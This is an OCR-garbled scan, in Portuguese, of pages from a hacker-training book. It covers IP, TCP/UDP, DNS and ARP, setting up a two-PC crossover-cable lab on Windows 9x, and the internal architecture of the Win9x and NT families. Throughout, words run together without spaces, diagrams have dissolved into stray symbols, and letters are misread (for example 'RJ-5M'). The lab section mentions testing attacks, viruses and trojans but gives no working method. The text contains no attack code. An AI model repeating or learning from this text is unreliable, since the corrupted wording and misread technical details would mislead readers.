oprotocolo IP o grandeagentetransportadorde nossosdadosentre as diferentesredes é o protocoloIP. O protocolodefineumpacotededados,quecontémcampos parecidoscom os camposquevimosno quadroEthernete umaáreapara transportarosdadosvindosdacamadasuperior.Entreessescampos,temosos endereçosIP dedestinoeorigem,flagsdecontroleeversão- emsuma,tudoo queseesperadeumaimplementaçãorealdeumprotocolo. UmpacoteIP parece-secomeste: 56I Redes 1 r Versão I IHL I TipodeServiço TamanhoTotal Identificação "Flags" I Fragmentação TempodeVida I Protocolo Número deVerificação Endereço IP deorigem Endereço IP Destino Opções(sehouverem) I Enchimento Dados
  • Universidade1°ano Endereço IP Um númerode IP contém4 bytescom tamanhoespecíficosno formato: 000.000.000.000,emquecadabytepodeincorporarumvalorquevaideOaté 255,comoem198.254.10.1.Outrainformaçãopertinenteé adequenãodeve haverduasmáquinascomo mesmoendereçoIP emumamesmarede,poisisso causariaconflito nasmáquinase uma delasestariaimpossibilitadade se conectaràrede. Máscara de Rede Possuio mesmoformatodo endereçoIP (000.000.000.000),masafeta apenasumsegmentoparticulardarede.É utilizadaparadividirgrandesredes emredesmenores,facilitandoa administraçãoe reduzindotráfegoexpúrio. TCP/UDP DentrodospacotesIP,podemostransportardois tipos de pacotesde dadospertencentesà camada4.Umdeles,oTCp,é o meioutilizadopelamaio- ria dos serviços paracarregarinformaçõesentreasduasextremidadesda conexão,e possuicaracterísticasdecontroledefluxo e recebimento.O outro é o UDp,maissimplese semqualquertipo de controle,masé rápidoe com impactomenorno desempenhodarede. Portas O pacoteIP estárelacionadoà rede,e portantosabeapenaslevarseus dadosdeumladoa outro.Já ospacotesTCP e UDP estãomaisrelacionadosà aplicaçãoou serviçoque estáenviandoou transmitindoos dados.Cadaum dessesserviçosestárelacionadoa um númerochamadoporta. Por exemplo, emumservidorqualquer,a portaTCP 80 ofereceo serviçoHTTP,enquantoa portaUDP 53podeoferecerumservidorde DNS. DNS O DomainNameServertraduzumnomede fácilmemorizaçãoemum númerodeIP.Por exemplo,vamossuporqueo IP deumservidornaInternet seja200.167.208.1,o DNSpoderáatribuirumnomea eleparaquesualocali- zaçãosejamaisfácil,comowww.siteprocurado.com.br.Aocolocaresseende- reçolegívelno browser,essevaientraremcontatocomo servidordeDNS e fazera conversãoparanúmeroIP. ARP Similarao DNS,masfaza traduçãodo endereçoIP emendereçoMAC. Quandoo pacoteIP chegaàrededestino,devehaverummecanismoquediga aopacoteparaqualmáquinaeledevesedirigir.Comoo númeroIP estáconti- donopacote,faz-seumaperguntaatodasasmáquinasdarede:"quemtemmeu IP"?A interfaceconfiguradacomaqueleIP respondecomo endereçoMAC,e o pacoteé enviadoa ela. 1571 ]Redes1
  • IUniversidadeH4CK3RI Laboratório de Redes I o laboratóriode RedesI temcomoobjetivoauxiliaro leitor iniciantena montagemdeumarededoméstica.Masqualé a utilidadedessetipo de rede parao futurohackerouadministrador?A respostaé bemsimples:testartécni- casdeataquee defesaemumaredefechada.Issopodeenglobardesdeainsta- laçãodeumfirewallcaseiroatéo testecomvíruse trojans. Obviamente,sãonecessáriospelomenosdoiscomputadoresparaquea redesejacriada.Comoa intençãoé montarumaredeparatestes,vocêpode optarpor computadoresmaisantigose semtantosrecursos,comoCD-ROMe hardwaredesom.A seguir,vamosconferirospassosparaamontagemdarede desdea partefísicaatéasconfiguraçõesnecessárias. Recursos necessários ~ 2 computadores; ~ 2 placasderede(pCI ou ISA); ~ Cabosdepartrançadona configuraçãocross-over; ~ Sistemaoperacional(nessecaso,estaremostrabalhandocomWmdows9x). Instalaçãodapartefísica Apósa escolhadasplacasderede,chegao momentode instalá-Iasnos computadores.Essanãoéumatarefadifícil,bastaapenasquevocêtomecuida- do paranãodanificaro equipamento.Apósa aberturado gabinete,devemos procurarumslotlivreparaacomodaraplacaderede.Geralmente,elesficam situadosnaparteinferiorà direitadaplaca-mãe,comomostraa figura: Slot ~ "",,,,,.,,,,,,,,,,,,,,,,,,,,,,,,""""" ""'''''''''''''''''''''''''''''''''''''''' '''''''''' '''''''''',,,,,,,,,,,.,,""""" '''''''''' """'''''''''''''''''' '''''''''' """"""",,,,,,,,,,,,.,,,,,,, """"" """""'''''''''''''''''''''''' "'''''''' '''''''''''''''''''' """ """" "'''''", """"""""""""'''''''''''''''''''' """""""""""""""""""""" """"""""""""'''''''''''''''''''' .......................................................11111111111111111. ....................................................... .11111111111111111. 158 I Redes1r
  • Universidade1°ano Apósaftxaçãodaplaca,reinicieo computador.Provavelmenteo sistema operacionalvai detectara presençade um novohardwaree apresentaruma janelacomasopçõesparaa instalação.Opte semprepor instalaros drivers originaisque acompanhama placa.O Windowsvai concluir a instalaçãoe entãoé sórepetiro processono outrocomputador.Apósdecidirondeasmá- quinasftcarãolocalizadas,chegaa horade colocaros cabosparaconcluira partefísicadarede. Comoestamostratandodaconexãode apenasdoismicros,usaremosó caboconhecidocomocross-over.Oscabosderedepossuempequenosftosque devemestardispostosemumacertaseqüênciaparaquepossahavera trocade dados,no casodo cross-over,é precisoinverteralgunsdessesftos.As lojasde informáticajávendemessescabosprontos,mas,sevocêquiseraprendercomo montá-Ios,observeno quadroabaixoa seqüênciacorretadeclipagemno cabo, lembrandoqueo conector(pontadocabo)deveserRJ-5M: PontaA 1-Branco/iaranja 2-Laranja 3-Branco/Verde 4-Azul 5-Branco/Azul 6-Verde 7- Branco/Marrom 8-Marrom Ponta B l~Branc()/Verde. 2-Verde 3-BrancolLaranja 4-Azul 5- Branco/Azul 6- Laranja 7- Branco/Marrom 8-Marrom Agora,bastaapenasconfiguraros computadoresparaestabeleceruma conexãode rede.Atenção!Nuncauseumcabocross-overemumaredecom hubs.A riscodedanillcaro equipamento. Configurandoa rede Comtodasasinstalaçõesdehardwarecompletas,chegaahoradeconftguraros computadores.Paramontagemdarede,vamosutilizaro protocoloTCP/lP visto anteriormente,poisesseémaisflexíveleconftável.AconftguraçãodoendereçoIP ftcaa critériodequemestámontandoa rede,issoporqueo próprioWmdows podedesignarumIP automaticamenteparacadamáquinasedesejado.Aqui,nós atribuiremosmanualmenteos IPs. Windows9.x Emprimeirolugar,vocêdeveráutilizarafaixaIPsqueestãoreservadasparaas redesdomésticas.Essenúmeroftcaentre192.168.0.1e 192.168.255.254,além disso,o endereçodecadamicrodeveserdiferenteparaquenãohajaconflito entreos dois.Tambémdevemosconferirseo protocoloTCP/lP estáinstalado. Paratanto,abrao paineldecontrolee váem"Redes",seo protocolonãoestiver 1591 IRedes1
  • IUniversidadeH4CK3RI listadonaguia"Configuração",entãoseránecessárioinstalá-Io.Aproveitetam- bémparainstalaro "ClientepararedesMicrosoft"e o "Compartilhamentode arquivos e impressoraspara redes Microsoft". Então, dique no botão "compartilhamentodearquivose impressoras"e marquea opção"Desejoque outrosusuáriostenhamacessoaosmeusarquivos". Após decidiro númerode Ip,é horade prosseguir.Abranovamenteo íconederedesno paineldecontrole,escolhao protocoloTCP/lP e cliqueno botãodepropriedades.Umanovajanelaseráaberta,entãocliquenaguia"En- dereçoIP"e marquea opção"EspecificarumendereçoIP",preenchao campo do IP como númerodesuapreferênciae,no campodasub-máscaraderede, vocêdevecolocaro seguintenúmero:255.255.255.0. Agoranósdevemosidentificaro computadore o grupodetrabalho,para isso,dique naguia"Identificação"najaneladeredes.Lembrandoqueo nome dos computadorespode serdiferente,masa grupo de trabalhodevesero mesmo.O computadorseráreinicializado,masdestavez,elepediráumasenha e umloginparaa rede. Pronto,se os doiscomputadoresestiveremconectadose configurados corretamente,vocêdeveter suarederodandosemproblemas.Paracomparti- lharumapasta,bastaapenasclicarcom o botãodireitodo mousena pasta desejadae acessarasopçõesde compartilhamento. I I Redes1[
  • Plataforma Windows Capítulo "Aujourd'huirOI;demainrien ",I (Ditado popular francês] 1 Hoje rei. alllanl1ã nada.
  • IUniversidadeH4CK3RI Costuma-sedizerquemaisde90%doscomputadoresdestinadosaousuário final - sejaem empresasou em casa- possuemalgumsistemaMicrosoft Windowsinstalado.Essesnúmerospodematéserquestionados,maséinegável que a empresafez um bomtrabalhode usabilidade(e de marketing!)para fazero usuárioe o desenvolvedordesoftwareacreditaremqueoWindowsé a únicaopçãode sistemaoperacionalparaleigos. Hoje a realidadeé atéum poucopior que isso.As pessoascompramseus computadoresemsupermercadoscomWindowsinstaladodefábricae acredi- tamqueo programaé parteintrínsecadamáquina.Elasnãoachamquepreci- semdeopções.Assimcomocompra-seumautomóveljá como volante,com- pra-secomputadoresjácomo sistemadagigantedeRedmond. As ~~famílias"Windows HáduascorrentesdedesenvolvimentodoMicrosoftWindows,formandoqua- sequeduasplataformascompletamentediferentesinternamente,emboracon- servandoa mesmaaparênciaexterna. Família Win9x CompostapelossistemasWindows95,Windows 98 e WindowsMe, essa famíliacaracteriza-sepor possuirum kernelempartebaseadono antigoMS- DOS e,portanto,compatibilidadecomprogramasantigos.Tambémpor isso possuemalgumaslimitações. A famíliaWin9xé umaversãoquasetotalmentereescritadoWindows3,que nãoeraexatamenteumsistemaoperacional.OWindows3eraconsideradopor algunsapenascomoumainterfacegráficaquerodavaemcimadoMS-DOS.Os autoresconcordamcomessaafIrmaçãoapenasemparte.O Windows3 acres- centavacaracterísticashámuitodesejadaspelosusuáriose já presentehá al- gunsanosemsistemasMacintosh,comoo processamentomultitarefae um melhorgerenciamentodememória.E o usuáriopodiainteragircomo sistema utilizandoumdispositivoapontador,o mouse.Issodesobrigava-oa decorarde- zenasdecomandosparachamarseusprogramasegerenciarseusarquivos.Com efeito,podemosdizerqueo conjuntoMS-DOS+Windows3 deveriaserconsi- deradoum sistemaoperacionalcompleto. O Windows95 eraum passoà frente.AsAPIs (ApplicationProgramming Interfaces- umaespéciede"tomada"do sistemaoperacionalem quevocê encaixao seuprograma)foramcompletamenteremodeladas.Maso kerneldo sistemaeraum"frankenstein"contendovárioselementosnovoscosturadosem umaversãoatualizadadovelhoMS-DOS,emboratotalmenteescondido.Asver- sõessubseqüentes(Windows98,Windows98 SEeWindowsMe) aindacarre- gamversões(sempreatualizadas,éverdade)dessekernel.Comoo MS-DOSera monotarefa,transformá-IoemumsistemamultitarefacomooWindowsreque- reudiversoswork-aroundse programasexternosrodandonaáreadousuárioe 41 PlataformaWindows[
  • Universidade1°ano executandotarefasqueseriamdo kemel.O gerenciamentodememóriaé um exemplo.Talvezissoexpliquea conhecidainstabilidadedessessistemas,espe- cialmenteos errosdo tipo GPEA adoçãodo MS-DOScomopontode partida parao desenvolvimentodasnovasversõesdoWindowsteve,entretanto,avan- tagemde oferecercompatibilidadea softwaree hardwareantigos. Família WinNT É compostapelos sistemasoperacionaisWindows NT,Windows 2000e Windows:xp2.Suaprimeiraversão,oWindowsNT,foi desenvolvidaparasero sistemaoperacionalde redesdaMicrosoft.Utilizandotecnologiade rededo LAN Managercoma interfacegráficadoWindows3.1e umnovoprojetode kemel,oWindowsNT pretendiabrigarnummercadodominadopor máquinas Unix e Novell.Mesmocom desempenho,escalabilidadee confiabilidade,na época,menoresdoqueosdeseusadversários,aMicrosoftconseguiu,empou- cosanos,alavancaro WindowsNT comoa plataformaderedesmaisviávele utilizada.Fezissobaseadaemtrêsprincípios: ~ Preçobaixo:umalicençadoWindowsNT custavamuitíssimomenosque licençasdoNovellNetwareoudequalquersabordeUnix.E rodavaemservido- resbaseadosemprocessadoresIntel,hardwaremaisbaratoqueascaríssimas RISCdosUnices. ~ Facilidadede configuraçãoe operação:enquantoosservidoresUnix e Novellpossuíaminterfacescomo usuáriobaseadasemcaractere,o Windows NT disponibilizavaparaos administradoresde sistemaumainterfacegráfica semelhanteà dosmicrosdesktop. ~ Marketing:amáquinadedivulgaçãodaempresa,localizadaemRedmond, no estadodeWashington,EUA,é mundialmenteconhecida.Elesforammuito felizesaopromovero novosistemaoperacionalderedesdaMicrosoft,eviden- ciandoaomáximonamídiaosdoisprincípiosanteriores. Os sistemasoperacionaisparaservidoresde rededaMicrosoft,impulsiona- dospelostrêsprincípioscitadose auxiliadospelainérciadosconcorrentes, levaramo WindowsNT ao primeirolugarem servidoresadministrativosdu- rantea décadade 90.Masa Microsoftpercebeuquehaviaummercadotam- bémparaSOsquerodassemnoscomputadoresdaspessoas,emcasaou no escritório.Essaspessoasnecessitavamdaestabilidadee confiabilidadeque o kerne1doWindowsNT proporcionava. A famíliaWindowsNT logoganhouversõesparaserusadanasmáquinas- cliente(ou seja,em casaou no escritório).Era chamadodeWindows NT Workstation,e possuíaumaestabilidademuitosuperiorà de qualquermem- 2 Apesarde a Microsoft divulgarque o Windows2000é um sistematotalmentereescrito,apenas baseadono WindowsNT,sabe-sepor fontesnão oflciaisque ele aindapossui muitacoisaintocadado NT original.O WindowsXp,por outro lado,possuipartesdo Windows2000e do WindowsMe,para garantir compatibilidadecom os programasantigos do usuário. O que quer dizer que ainda há tecnologiasdo NT, do Win9xe mesmodo velhoMS-DOSnele. 1651 I PlataformaWindows
  • IUniversidadeH4CK3RI bro dafamíliaWin9xatéhoje.Era,basicamente,o kerne1do NT Serversemos serviçosdeservidore comalgumasmodificaçõesparaadaptá-Ioaoscomputa- doresdemesa.Algunsusuários,cansadosdeterde reiniciara máquinae per- derdadosacadaGPF,migraramparaoWindowsNTWorkstation3. Masnemtudoeramflores.O kerne1doWindowsNT eramuitodiferentedo kerneldafamíliaWin9x.Quebraracompatibilidadeentresistemasoperacionais significavaquebrara compatibilidadecomsoftwaree hardwareantigos.Mui- tosdelessimplesmentenãofuncionariamnoWindowsNT. O usuáriodeveria escolher,então,entreestabilidadee compatibilidade. A últimaencarnaçãodoWindows,batizadadeXP,pretendeacabarcomesse problema.Utilizandotécnicasdeconvergênciaentreastecnologiasdasfamíli- asWin9xe NT,a Microsoftconseguiucriarumaversãode seuprodutomais famosoque,segundoela,aliaaestabilidadedoWindows2000eacompatibilida- de doWindowsMe.A versãoServerdoWindowsXp,chamadadeWindows 2003Server4,deveestarno mercadoemmeadosdesteano. Nosbastidores... Qualquerum quetenhao objetivode setornarum"hacker"(qualquerque sejao sentidoquevocêempregueà palavra)deveconhecerprofundamenteo funcionamentodepelomenosumsistemaoperacional.Apesardeos sistemas Unix seremumaboaescola,por suamodularizaçãoextremamentedidática, entendero quesepassa"nascoxias"dossistemasdaMicrosoftajudaa enten- dercomoumsistemapodeevoluir,e possíveismaneirasdecontornarproble- masinerentesà compatibilidadecomtecnologiasantigas. Devidoànaturezaproprietáriae fechadadosprodutosMicrosoft,nemtodas as informaçõessobreos sistemassãodivulgadas.Estecapítulotomoucomo pontodepartidao knowledgebaseautorizadopelaempresa.Nãoentraremos emmuitosdetalhesa respeitodokerneldo sistema. Estrutura De umaformageral,ambasasfamíliasdo sistemaoperacionalWindowsem- pregamo conceito de microkernel:apenasos serviçosmaisbásicossão implementados.Todosos outrossãoexecutadospor programasexternos,que rodamemusermode,ou seja,comoprogramascomuns.Grossomodo,isso significaqueo usuáriopodeperigosamenteteracessoa partesdo kernel. 3Algunsusuáriostentaramoutrossistemas,comoo OS/2(antesdesermortopela IBM),o Macintosh (nestecaso,substituindonão só o software,mastodo o computador)e, maisrecentemente,opções comoo BeOS,o FreeBSDe o linux. Com exceçãodo OS/2e do BeOS(recentementedescontinuado),a maioriadaspessoasque migroupara outrasplataformasnão retornou ao Windows.Sintomático? 4 Essaversãoteveoficialmentequatronomesdiferentes,e outrostantosextra-oficiais.Chegoua ser chamadade Windows.NET ServernumareferênciaàsnovastecnologiasbaseadasemXML da empre- sa,masao queparecea Microsoftdesistiuda associaçãono nome.Mesmoassim,o produtoestásendo chamadono sitedaempresade"oaglutinadordastecnologias.NET"("thegluetoall .NET technologies''). ,61 PlataformaWindowsI
  • Universidade1°ano UserMode ,,, , , , , , , " , . ,,,, ~~" ~~ KernelMode Hardware Internamente,asduasfamíliasde produtosWindowssãomuitodiferentes, emboraexistaumacamadadecompatibilidadeparaqueambasasplataformas possamcompartilharos mesmosdriversde equipamentose periféricos,os famigeradosDeviceDrivers.A famíliaNT possuiaindacamadasdecompatibi- lidadedesoftwarequepermiteao sistemaoperacionalexecutarcomsucesso programasdesenvolvidosparaafamíliaWin9xemesmoparapadrõesalienígenas comoUnixIPOSIX,Windows16bitse OS/2daIBM. ~ Família Wm9x Acessórios Programas Shellde32-bits C:J ]I NúcleodoWindows98("core") Registro [ EJ I Gerenciadorde sistemasde arquIvos instaléveis(lFS) Gerenciadorde Configuração Gerenciadorde DriversWDM Oevice Orivers 1671 I PlataformaWindows
  • IUniversidadeH4CK3RI Observeatentamenteo diagrama.A estruturainternadoWindows9x é apa- rentementemodular.Há umadivisãoclaraentreo núcleo(normalmentecha- madode core)e asoutraspartesdo sistema.Tal divisão,emboravisívelno papel,é extremamentetênuenaprática.Váriosprocessoscríticosdo sistema rodamna mesmaáreade memóriae disputamos mesmosrecursosde processamentoqueos programasdo usuário.Apesarde simplificaro desen- volvimentodo SO e permitircompatibilidadecomhardwaree softwarelega- dos,nãohácomoescapardasinstabilidadesqueessaestruturaacarreta. Osprogramasdousuário(planilha,editordetextos,navegador,etc.)nãoacessam o núcleodiretamente.Cadaprogramade 32bitsrodaemumamáquinavirtual separada,e tema impressãodepossuirumhardwaree umnúcleodo sistema operacionalexclusivos.Programasantigosparao MS-DOStambémrodamem máquinasvirtuaisseparadas,mesmoporqueelestendema capturartodososre- cursosdamáquinaparasie,nãofossemasmáquinavirtuais,seriaimpossívelrodá- losnoWmdows.Jáosprogramasde 16bitsdoWmdows3,devidoàsuanatureza multitarefacolaborativa,rodamtodosnumamesmamáquinavirtualde 16bits. Háumshellparaintetfacearasmensagensentrecadamáquinavirtualdosprogra- maseonúcleorealdosistema.Esseshelltambémseencarregadeforneceroswidgets (botões,barrasderolagem,indicadoresdeprogresso,decoraçãodasjanelas)paraas aplicaçõesedemostrarasjanelasjámontadasparaousuário,deformaqueelepossa interagircomo sistema.Esseshelltambémfornecealgunsdosutilitárioseferramentas dosistema,comooWmdowsExplorer,oPaineldeControleeoAmbientedeRede. Registro ! N,úéíeodoWindows98("core") ,/ I tE Gerenciadorde sistemasde II Gerenpiadorde arquivos Configuração instaléveís(lFS) , Gerenciadorde DriversWDM (Botões,barrasdeprogresso,caixasdediálogo modosdevisualizaçãodejanelas...) o coraçãodafamíliaWin9xé o coresystem.Compostopor trêscomponen- tes:o kernel,responsávelpelocontroledeprocessos,deEISe do hardware;o user,quecontrolaos elementosmanipuláveispelo usuário(janelas,eventos disparadospelo usuário,ícones,menus)e multimídia;e o GDI ou Graphics DeviceInterface,queinteragecomo hardwaredevídeo.O subsistemade im- pressãotambémestásituadono GDI. 1681 PlataformaWindows[
  • Universidade1°ano Acessórios Programas Shellde32-bits C :J]I Registro Núcleo do Windows 98("core") VMM Gerenciador de sistemasde 1I Gerenqi-aéÍorde arquivos COr)fiyuração instaléveis(lFS) , Gerenciadorde DriversWDM ~y-Óevice Orivers GOl Kernel A famíliaWin9x temo compromissode ser compatívelcom aplicativos antigosde 16bitsdoWindows3.11e mesmodo MS-DOS.Portanto,os com- ponenteskernel,usere GDI do núcleosão,naverdade,duplasde arquivos. Os componentescorrespondentesdo anciãoWindows3.11aindaestãopre- sentese os aplicativosantigosos acessam.Esseé um dosmaiorescalcanha- res-de-aquilesda famíliaWin9x:os programasde 16 bits não trabalhamem modoprotegido,nemacessamum corequetrabalhenessemodo.O resulta- do é a destruiçãocompletada preempçãomultitarefado sistemae do gerenciamentodememória. Entreo núcleoeosdriversparaosdispositivosdehardwareexisteumacama- datambémdeinterface,comrotinasquetornamo coredoWindowsindepen- dentedohardwareutilizado.Umdoscomponentesdessacamadaé oVMM ou VirtualMachineManager.É oVMM quecriae administracadaumadasmáqui- nasvirtuaisparatodososprogramasdousuário,e o próprionúcleodo sistema temsuaprópriaVM. "im .' .''''''''.' EI ............
  • IUniversidadeH4CK3RI Outrocomponentedessacamadaé o IFSou InstallableFile System.O siste- manãoé preparadoparareconhecerumnúmero[mitode sistemasde arqui- vosdemaneiranativa.Emvezdisso,o IFSpermitequenovosfilesystemssejam "plugados",fornecendoassimcompatibilidadeparavirtualmentequaisquerti- posdeles- bastaquealguémescrevao módulocorrespondente.rC :JI Programas IAcessórios I' Shellde32-bits II Registro Núcleo do Windows 98 ("core") ~~/[~V~M~~I..: ..o,'," "Gêr~~Ciadorde~~ . I I Config'!:Ir~ção_-"_~44-ft~-" . ' , '... GerenciadordeDriversWDM Gerenciadorde EIS (lOS) CamadasSCSI ~ o ~ J o Camadasdiversas* Oriverdeconexão Mini-camadadeconexãoSCSI O Gerenciador de Configurações, por outro lado, é o responsávelpela auto-matização da instalação de hardwarePlugandPlayeseusdrivers. IO móduloregetodoo processode instalação, configuração e desins- [ talação,e mantématualizadaa base dedadosdehardwareno Registro. Acessórios Programas Shellde32-bits 170I PlataformaWindows r Núcleo doWindows 98("core") GeJ8Ilciada(dé"".s";s, tem, asde .., " I'arquIvos , , . ,Iinstaléveis (IFS) - . GerenciadordeDriversWDM
  • Universidade1°ano Por fIm,oWDM (Win32DriverModel)é umacamadadetraduçãoentreos driversdedispositivoe o núcleo.Ele"engana"o driver,fazendo-opensarque estáinstaladono kernel de umWindows NT. Com isso,fornecedoresde hardwarepodemdesenvolverdriversquefuncionememambasasplatafor- masindiferentemente. A camadado sistemaoperacionalmaispróximado hardwareé a de device drivers.Estessãocompostospor dois tipos complementaresde drivers,os Universaise os Mini-drivers.Vejaa ilustração: DeviceJ Os driversUniversaissãograndesguarda-chuvascomespecifIcaçõesgenéri- casparaosdispositivos.Porexemplo,háumdriverchamadoUniversalModem quecontéminformaçõesgenéricascompartilhadaspelamaioriadosmodens. Issofacilitasobremaneirao desenvolvimentodedriverscomascaracterísticas específicas.Taiscaracterísticassãoimplementadasemdriversauxiliarescha- madosdeMini-drivers.No nossoexemplodosmodens,umfabricantepodese basearno driver Universal e escrever um Mini-driver apenascom as especifIcaçõesquediferirem.Noteaindaquemuitosdispositivosdehardware podemtrabalharsomentecomo driveruniversal. O tipodedrivermaiscomumé oVirtualizationDriver,ouVxD.Algunsdispo- sitivosdehardwaredevemsercapazesdeatendersimultaneamentea solicita- çõesdediversosprogramas.EssesdispositivosusamVxDsparacriarváriasins- tânciasde si mesmos.Cadamáquinavirtualdo sistemapensa,então,que o hardwareemquestãoé exclusivoparasi. O últimoelementoé,emcompanhiadaInterfacecomo Usuário,o maispalpá- vel.O RegistroéumbancodedadosqueguardaasconfIguraçõesglobaisdetodo o sistema,bemcomoasdecadaaplicativo.Qualqueralteraçãocomportamental oudefuncionamentodosistemadeveserefetuadanoRegistro. ~ FamíliaWinNT A arquiteturadafamíliaWinNTdifereradicalmentedafamíliaWin9x.Nela,há umaseparaçãoexplícitaentreo modode operaçãodo kerne1e o modode operaçãodousuário.Osprogramasdousuáriorodamemumespaçodememó- riaexclusivoe possuemumtempodeterminadodeusodecpu. Os processos rodandono modokerne1estão,dessaforma,protegidoscontraaaçãopredató- ria deprogramas"mal-educados". I 71I 1 PlataformaWindows
  • IUniversidadeH4CK3RI System Support processes Service Processes User applications Enviroment subsystems ~SubsystemOLls J User Mode KernelMode Executive ~~r~elm..ml[MOevíceOriv:rs J ~H.a.rdware .Abstra'~ti.~~...f~Y.~..i::~~~.~~:.:...1 Windowing andgraphics Ao contráriodesistemasoperacionaismaisantigos,comoo Unix originale os sistemasde mainframes,o kerneldoWindowsNT e descendentesnãoé monolítico.Emvez de carregartodosos tiposde devicedriverspossíveise imagináveisdentroda"cachola",oWindowsempregaoconceitodemicrokerne1: um núcleocom apenasos serviçosmaiscríticose essenciaisquepode ser comp1ementadocomprogramasauxiliaresexternos.A maioriadessesprogra- masexternosrodaemmodouser,deixandoo kernelmode apenasparaos serviçosdemaisbaixonívele altaprioridade.Taisserviçosestãodivididosem cincograndescomponentes.O primeiroé o GDI,quecontrolaos dispositivos devídeodeformasemelhanteaodafamíliaWin9x. Osquatrooutroscomponentes- WindowsExecutive,Kernel,DeviceDrivers eHAL- sãotãointimamenteligadosentresiqueaparecemnummesmoquadro emnossodiagrama.O Executiveabrigadiversosmódulosdeinterfaceentreo kernele osoutroscomponentes,tantoparao usuárioe programasquantopara o hardware- poderiaserconsideradoum"shell"do kernel.Os devicedrivers trabalhamde maneiratambémmuitosemelhanteaosda famíliaWin9x,com arquiteturabaseadaemVxDseWDM.Porúltimo,o HardwareAbstractionLayer ou HAL,forneceumacamadadeabstraçãoparao kernel. O princípiode funcionamentodo HAL é muitoparecidocomo do modelo Universal!Mini-driver.O HAL"engana"o núcleodoWindows,fazendocomque eleacreditequeo hardwaresejasempreo mesmo.Sealgumacoisanaarquite- turado PC mudar- por exemplo,um novométodode acessoà memória-, bastainstalarumnovoHAL.Nãohaveránecessidadedereinstalarumaversão maisnovadoWindows,muitomenosreescrevê-Iotodonovamente. Os sistemasdafamíliaWinNT tambémseutilizamdo conceitode Registro paramanterasconfiguraçõesdo sistema.A estruturado registroé, inclusive, muitoparecidacoma dafamíliaWin9x. 721 Plataforma Windows I
  • Universidade1° ano 1 ~, 1 /~ .. ; .-:I I I I I I I I User Mede I I " I : Kernel Mede . . . . Observe as semelhanças e diferenças entre este diagrama e o da família Win9x. Dentro do Executive, temos um módulo VMM com função idêntica ao do Windows 9x. Três outros módulos (Gerenciador de Objetos, de Processos e de Chamadas de Sistema) cuidam do gerenciamento de instâncias de processos e métodos para o kernel. Um novo módulo é o Gerenciador de Referência de Segurança, que fornece serviços de autenticação e segurança para os subsistemas externos. Lembre-se de que a família NT é verdadeiramente multiusuária e, portanto, ne- cessita de rotinas de autenticação e controle de acesso. O último módulo, chama- do de Gerenciador de E/S (I/O Manager), agrega os serviços de E/S do Windows para dispositivos de hardware, comunicação externa (serial e redes) e principal- mente com os dispositivos de armazenamento (discos e fitas). Os vários subsistemas que rodam em modo usuário controlam a criação de máquinas virtuais para as aplicações dos usuários. Observe que há um subsistema exclusivo para segurança que apresenta os diálogos de autenticação para o usu- ário e comunica-se com o Gerenciador de Referência de Segurança no núcleo do sistema para prover ou negar acesso. Queime um pouco de neurônios e tente descobrir como cada um dos módulos mostrados aí funciona e interage com os outros. Pesquise na Internet até en- contrar explicações sobre cada um deles, sem deixar de procurar por nenhum. Depois disso, largue o livro, arrume-se, saia de casa e vá ver gente. Tomar um chope talvez... 1731 I PlataformaWindows
  • IUniversidadeH4CK3RI Entidades o Windowsé umsistemaoperacionalbaseadoemeventos.Por eventos,en- tendemosqualqueratividadeemalgumhardware- o movimentodo mouse, por exemplo- ou ossinaisprovenientesdeprogramas- quandoumajanelaé fechada. O Windowspossuitrêsentidadesprincipais:programas,janelase mensa- gens.Os programassãoos aplicativosque aspessoasusam:seueditorde textospreferido,a calculadora,o jogode Paciênciaou o emulador determi- nal.Cadaprogramapossuiumaou maisjanelas.O usuáriosecomunicacom os programasatravésdo sistemaoperacional,que se utilizade mensagens paratal. Cadaprogramase comunicacom suasváriasjanelastambématra- vésdemensagens. . Osprogramassãocompostosdeumoumaisarquivos.Ostiposmaiscomuns de arquivosemprogramasparaWindowssãoos de extensãoEXE (aspartes do códigoespecíficasdaqueleprograma),DLL (bibliotecascompartilhadosde funções)e,maisrecentemente,controlesActiveX(um tipo especialde DLL contendoextensõesmultimídia). AsDLLssãocomponentesimportantesnossistemasWindows.Acrônimopara DinamicLinkLibraries,elassãobibliotecasdefunçõesquepodemseracessadas por qualqueraplicativo.Alémde reduziro tamanhodosarquivosEXE,sãoas DLLsquepermitemqueváriosprogramascompartilhemo mesmorecursoou a mesmacaracterística.Por exemplo,todosos aplicativosparaWindowspos- suemamesmaaparênciadevidoaumaDLLemespecial,aGDI.DLL,quecuida dainterfacegráficacomo usuário.Praticamentetodoo kerneldoWindowsé baseadoemarquivosDLP . Programadorespodem,ainda,utilizarfunçõesdas MicrosoftFoundationClassesparafacilitaro seutrabalho.As MFCsestãocon- tidasnumaDLL chamadaMFC.DLL. Os programasgeramdiversasjanelas.Alémdaapresentaçãovisual,asjanelas sãoentidadesqueencerramemsi dezenas,àsvezescentenas,de camposde informaçãoquecontrolamcores,tamanhodajanela,tamanhodaborda,posi- çãodosobjetosdentrodajanela,etc.Umdelesé chamadodehandJe,queiden- tificao programaquegeroua janela.Outrocampoé o windowhand1e,que identificaa janelacomumnúmeroúnico(diferentede zero)no sistema.Um terceirocampodeinteresseé o Z-order.É apartirdelequeo sistemadefinea ordemde apresentaçãodasjanelas. Paraacomunicaçãoentreo sistemaoperacional,osprogramase suasjanelas, sãoemitidasmensagensentreeles.Umamensagemnadamaisé do queuma pequenaestruturadedados.Normalmente,elainclui: 5 Obviamentenão estamosconsiderandoaspartesdo keme1herdadasdo MS-DOS.No Apêndice "o Keme1 do MS-DOS" (que estáno CD) temosumadípida explicaçãode como funciona o keme1do MS-DOS. 1741 PlataformaWindows[
  • Universidade1°ano ~ Timestamp(horaemquefoiemitida)damensagem ~ Identificadordamensagem ~ Identificadordajanela(windowhandIe) ~ Doisoumaiscamposparaamensagememsi o identificadordamensageminformaaoprogramaou janelao "assunto"da mensagem.Os nomesdasmensagenssão sugestivos,como por exemplo WM_LBUTTONDOWN (botão esquerdodo mouse foi pressionado)ou WM_KEYDOWN(umateclafoi pressionada).Entretanto,internamentecada um dessesnomesé substituídopor umaconstantenumérica.Os nomessão apenasmnemônicos6. As mensagenssãogeradasdeformabemsimples.Vamosimaginarumasitua- çãoreal:o usuáriopressionoua tecla"A:'.O tecladoenviaao computadorum tremdedadosindicandoprimeiroqueumateclafoi pressionada,depoisqual teclafoi essae,emseguida,o númeroASCIIdocaracterecorrespondenteàtecla. Quandoo usuáriosoltaa tecla,o tecladoaindaenviaum sinalindicandoesse evento.Cadapeçade hardwareemseucomputadorpossuium sinalelétrico chamadointerrupçãoassociadoa ela.A ElOS do computador,quandorecebe umsinaldeinterrupção,páratudoo queestáfazendoedesviao processamento 